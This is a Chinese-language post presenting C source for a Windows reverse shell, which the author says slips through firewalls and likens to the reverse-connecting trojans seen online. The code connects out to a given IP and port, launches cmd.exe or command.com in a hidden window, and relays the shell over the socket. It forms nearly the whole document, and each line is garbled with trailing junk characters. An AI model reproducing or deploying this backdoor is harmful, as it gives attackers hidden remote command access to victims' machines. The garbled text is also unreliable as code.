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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 =y-@AU8  
,KFapz!  
/* ============================== gdQvp=v]  
Rebound port in Windows NT 8Q'0h m?  
By wind,2006/7 {yExQbN  
===============================*/ %QP0  
#include 2=^m9%  
#include n<u $=H  
J_4!2v!6e  
#pragma comment(lib,"wsock32.lib") FIsyiSY<j  
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void OutputShell(); {Ja!~N;3  
SOCKET sClient; 1|jt"Hz  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ?pd8w#O  
:\o {_  
void main(int argc,char **argv) VFys.=  
{ H7DJ~z~J  
WSADATA stWsaData; mV pMh#zw  
int nRet; PGoh1Uu  
SOCKADDR_IN stSaiClient,stSaiServer; J G{3EWXR  
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if(argc != 3) :Cj OPl  
{ (R("H/6xs  
printf("Useage:\n\rRebound DestIP DestPort\n"); 53n^3M,qK  
return; h3xAJ!  
} L}pt)w*V1j  
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WSAStartup(MAKEWORD(2,2),&stWsaData); Ob<{G"  
:Nz2z[W$  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =7m)sxj]w  
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stSaiClient.sin_family = AF_INET; pW J Fz-  
stSaiClient.sin_port = htons(0); V: TM]  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); L bmawi^  
JVSA&c%3  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) VG ;kPzze  
{ "[ZB+-|[0  
printf("Bind Socket Failed!\n"); /x p|  
return; }xh$T'M8  
} oc>{?.^  
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stSaiServer.sin_family = AF_INET; )`O~f_pIC  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); .0`m\~L  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 8p:e##%  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) v : OR   
{ /^#;d UB  
printf("Connect Error!"); {C N~S*m  
return; 4?q <e*W  
} >]vlkA(  
OutputShell(); 2OVRf0.R~  
} waj0"u^#  
=E#%'/ A;c  
void OutputShell() 2KYw}j|5  
{ S(*sw 0O@+  
char szBuff[1024]; %_%Q 8,W  
SECURITY_ATTRIBUTES stSecurityAttributes; #W.#Hjpp  
OSVERSIONINFO stOsversionInfo; 2Tp1n8FV  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; U!*M*s  
STARTUPINFO stStartupInfo; _)>_{Pm  
char *szShell; naR0@Q"\h  
PROCESS_INFORMATION stProcessInformation; +{f:cea (1  
unsigned long lBytesRead; @a0DT=>dT  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); U`NjPZe5^  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); %1xb,g KO  
stSecurityAttributes.lpSecurityDescriptor = 0; zv\kPfGDK  
stSecurityAttributes.bInheritHandle = TRUE; OX?\<),  
ij(B,Y  
TU,s*D&e  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); m!tbkZHQn0  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); m4hg'<<V  
7>))D'l57  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); b)qoh^  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ch|jtVeuyJ  
stStartupInfo.wShowWindow = SW_HIDE; f$Fhf ?'  
stStartupInfo.hStdInput = hReadPipe; Pama#6?OPh  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; qGB{7-ru  
iW%I|&  
GetVersionEx(&stOsversionInfo); ?IqQ-C)6D  
yy i#Mo ,  
switch(stOsversionInfo.dwPlatformId) _M`--.{\O[  
{ F`XP@Xx  
case 1: 9CWF{"  
szShell = "command.com"; zck#tht4 n  
break; CR"|^{G  
default: d\|?-hY`[  
szShell = "cmd.exe"; JP!~,mdS  
break; UU;(rS/  
} r")`Ph@yp  
[6%VRqY  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 8"2=U6*C  
Mb|a+,:>3  
send(sClient,szMsg,77,0); :toh0oB[  
while(1) K}buH\yco  
{ .ps-4eXF  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); yW1)vD7  
if(lBytesRead) 7XTkX"zKj  
{ 8hOk{xs8  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); t(NI-UXBp  
send(sClient,szBuff,lBytesRead,0); g(qJN<R C/  
} jHE}qE~>5  
else S >X:ZYYC  
{ 75f"'nJ)  
lBytesRead=recv(sClient,szBuff,1024,0); d iL +:H  
if(lBytesRead<=0) break; 1{ ~#H<K  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); p.v0D:@&  
} QkEvw<  
} `1$@|FgyC  
"55skmD.P  
return; RI 5yF  
}
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